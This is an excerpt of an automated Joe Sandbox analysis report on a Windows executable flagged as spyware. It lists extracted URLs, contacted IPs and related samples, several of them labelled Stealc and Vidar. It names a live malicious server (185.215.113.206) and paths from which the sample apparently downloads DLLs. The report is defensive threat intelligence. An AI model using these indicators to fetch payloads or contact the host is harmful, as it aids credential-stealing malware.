https://drive.google.com/?lfhs=2	chrome.exe, 00000002.00000003.2166088118.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166301495.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169151167.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166461382.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2334452352.00007AA400AA4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2ation.Result	chrome.exe, 00000002.00000003.2166088118.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166301495.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169151167.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166461382.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000002.00000003.2167287326.00007AA40160C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/Z	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6929	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.googl0	chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bz	chrome.exe, 00000002.00000002.2331357772.00007AA400948000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2312778435.00007AA40060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7369	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7489	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/	chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/?q=	chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore	chrome.exe, 00000002.00000003.2167610645.00007AA400D58000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2338051467.0000085400194000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll?	file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000002.00000003.2147139853.00007AA4010C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146596934.00007AA400F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147699856.00007AA400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147607903.00007AA400DAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146961611.00007AA400F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146906103.00007AA4010A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147669068.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331506062.00007AA40099F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2146932504.00007AA4010F4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll:	file.exe, 00000000.00000002.2516211934.0000000000BC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2244830382.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/161903006	msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2244830382.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311150516.00007AA4004A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	chrome.exe, 00000002.00000002.2334837766.00007AA400AE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341918686.00007AA401044000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311150516.00007AA4004A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/	chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3078	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/s/notifications/manifest/cr_install.htmllt	chrome.exe, 00000002.00000002.2312397243.00007AA4005C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.2142656565.00007AA400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2142625016.00007AA400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://assets.msn.com/statics/icons/favicon_newtabpage.png	file.exe, 00000000.00000003.2418728501.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418238388.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479024784.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418812590.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418362966.000000001D5E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418513551.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2409207631.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418680179.000000001D5F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479245508.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2417533867.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418099056.000000001D5F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489180217.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489476479.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489731270.000000001D5E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489677891.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538226630.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538147993.000000001D5E1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2259296270.0000085400288000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2259131636.0000085400284000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341918686.00007AA401044000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2489372397.0000000023AC4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7556	chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2260678311.0000085400390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-4.c	chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	chrome.exe, 00000002.00000002.2255739491.00007AA400013000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2338051467.0000085400194000.00000004.00000800.00020000.00000000.sdmp, manifest.json.9.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/?feature=ytcaogl	chrome.exe, 00000002.00000002.2342423736.00007AA40117C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206KKF	file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://drive-preprod.corp.google.com/	manifest.json0.9.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7279O	chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore/	manifest.json.9.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/#	chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	play.google.com	United States	15169	GOOGLEUS	false
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
184.31.0.196	unknown	United States	20940	AKAMAI-ASN1EU	false
108.156.211.31	unknown	United States	16509	AMAZON-02US	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
104.93.21.160	unknown	United States	16625	AKAMAI-ASUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.93.21.152	unknown	United States	16625	AKAMAI-ASUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.178.242	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
142.250.185.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	plus.l.google.com	United States	15169	GOOGLEUS	false
20.42.73.31	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544264
Start date and time:	2024-10-29 06:58:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/297@28/24
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 64.233.166.84, 142.250.186.174, 34.104.35.123, 142.250.184.227, 216.58.212.138, 172.217.16.202, 142.250.185.74, 142.250.184.202, 142.250.186.170, 142.250.186.106, 142.250.186.74, 172.217.16.138, 172.217.18.10, 142.250.185.106, 216.58.206.74, 172.217.18.106, 142.250.186.138, 142.250.185.138, 142.250.184.234, 172.217.23.106, 142.250.181.234, 142.250.74.202, 142.250.186.42, 93.184.221.240, 192.229.221.95, 13.107.42.16, 204.79.197.203, 13.107.6.158, 142.250.185.110, 13.107.21.239, 204.79.197.239, 142.250.186.78, 4.231.66.184, 2.19.126.152, 2.19.126.145, 2.23.209.185, 2.23.209.179, 2.23.209.182, 2.23.209.177, 2.23.209.193, 2.23.209.189, 2.23.209.161, 2.23.209.176, 2.23.209.181, 88.221.110.195, 88.221.110.179, 2.23.209.141, 2.23.209.160, 2.23.209.149, 2.23.209.150, 2.23.209.158, 2.23.209.148, 2.23.209.140, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.49, 2.23.209.41, 2.23.209.46, 2.23.209.42, 2.23.209.50, 2.23.209.45, 2.23.209.47, 2.23.209.44, 2.23.2
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, prod-agic-we-4.westeurope.cloudapp.az
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:59:27	API Interceptor	90x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://google.com	Get hash	malicious	Unknown	Browse
	https://web.kamihq.com/	Get hash	malicious	Unknown	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/
18.244.18.27	http://manatoki463.net	Get hash	malicious	Unknown	Browse
	ddsfsfsa.pdf	Get hash	malicious	Unknown	Browse
	http://currently0734.weebly.com/	Get hash	malicious	HTMLPhisher	Browse
	https://www.finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145e	Get hash	malicious	HTMLPhisher	Browse
	DocuSign-Docx.pdf	Get hash	malicious	Unknown	Browse
	http://emaildlatt-mailcom-28e2uy93.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse
	https://maxask.com	Get hash	malicious	Unknown	Browse
	https://www.evernote.com/shard/s683/sh/202c4f3c-3650-93fd-8370-eaca4fc7cbbc/9PDECUYIIdOn7uDMCJfJSDfeqawh-oxMdulb3egg-jZJLZIoB686GWk5jg	Get hash	malicious	HTMLPhisher	Browse
	http://www.toyotanation.com//help//terms	Get hash	malicious	Unknown	Browse
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	setup.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	(No subject) (90).eml	Get hash	malicious	Unknown	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.83.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.60.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	18.239.69.15
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	13.32.99.90
	http://www.wattpad.com	Get hash	malicious	Unknown	Browse	13.32.99.90
	https://www.canva.com/design/DAGUUU-VdiI/DdL4Z-_loK4X7NMMbGGnJg/view?utm_content=DAGUUU-VdiI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	13.32.99.90
